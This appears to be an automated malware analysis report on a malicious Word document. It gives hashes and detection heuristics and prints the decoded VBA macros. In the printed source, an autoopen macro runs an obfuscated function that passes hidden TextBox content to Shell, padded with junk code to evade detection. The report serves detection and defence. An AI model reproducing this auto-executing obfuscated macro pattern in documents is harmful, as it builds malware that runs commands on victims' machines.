Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3ca7101e02f1dea…

MALICIOUS

Office (OLE)

132.9 KB Created: 2018-12-18 20:15:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 73812b68ee17c78c478250c74e138497 SHA-1: 55ae47c6468894b7818b614310381f465b57f4f5 SHA-256: a3ca7101e02f1dea7fdd3b0c3bad3feb7f58dff5cdbc15ea4f8996a652662a7f
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of the 'A0754022' function, which contains a critical 'Shell()' call. This function is designed to execute arbitrary commands, as indicated by the 'SC_STR_CMD' heuristic firing. The presence of 'cmd.exe' in the heuristics suggests a direct command execution attempt.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6788311-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6788311-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                  End Select
    N328950836 = Array(w8961081, I716716703, z46297291, Interaction.Shell(A96607050.TextBox1, 19 - 19), C5368176)
       Select Case z2890
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    A0754022
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3476 bytes
SHA-256: 5f6dcaef7d3bf8c7874e0f17786f4a1144bc52ee125a93fce67a45d25cbd86e1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "A96607050"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
A0754022
End Sub

Attribute VB_Name = "J72010651323223"
Function A0754022()
On Error Resume Next
   Select Case H771
         Case 36968782
U737 = V554
            U8043 = Tan(v699 - Round(r9863) / 110820461 - Tan(u6578))
z213 = A4149
o710 = Round(o2236 * Chr(194030760))
         Case 263848582
F9176 = D8154
            Q799 = 168947845
a0497 = r183
            b0545 = Round(r076 + Tan(q7827 + Log(267406246) - F448 / Hex(330278406)))
              End Select
N328950836 = Array(w8961081, I716716703, z46297291, Interaction.Shell(A96607050.TextBox1, 19 - 19), C5368176)
   Select Case z2890
         Case 322898838
z0764 = l289
            E296 = Tan(Q214 - Round(v8298) / 98065630 - Tan(r3128))
s274 = I303
C247 = Round(u589 * Chr(189027473))
         Case 282001373
H587 = o358
            R915 = 207167601
u9297 = G757
            z844 = Round(W812 + Tan(j1578 + Log(186989453) - r5713 / Hex(185722313)))
              End Select
   Select Case L3269
         Case 236882275
B540 = G7794
            w8992 = Tan(d890 - Round(M1885) / 194934988 - Tan(N046))
B9406 = K7882
q1422 = Round(C9622 * Chr(102908619))
         Case 92536385
k136 = J428
            p103 = 214358493
E690 = T3321
            k197 = Round(l592 + Tan(J414 + Log(210094922) - O420 / Hex(262860398)))
              End Select
End Function


Attribute VB_Name = "h5424915"

Attribute VB_Name = "k20584656093964"

Attribute VB_Name = "u11659816446348"

Attribute VB_Name = "j5496854"

Attribute VB_Name = "L568929254"

Attribute VB_Name = "O34302036"

Attribute VB_Name = "u981436286561"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Q43368531549"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Z7129904883"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "b88823769"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "n0577714383955"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False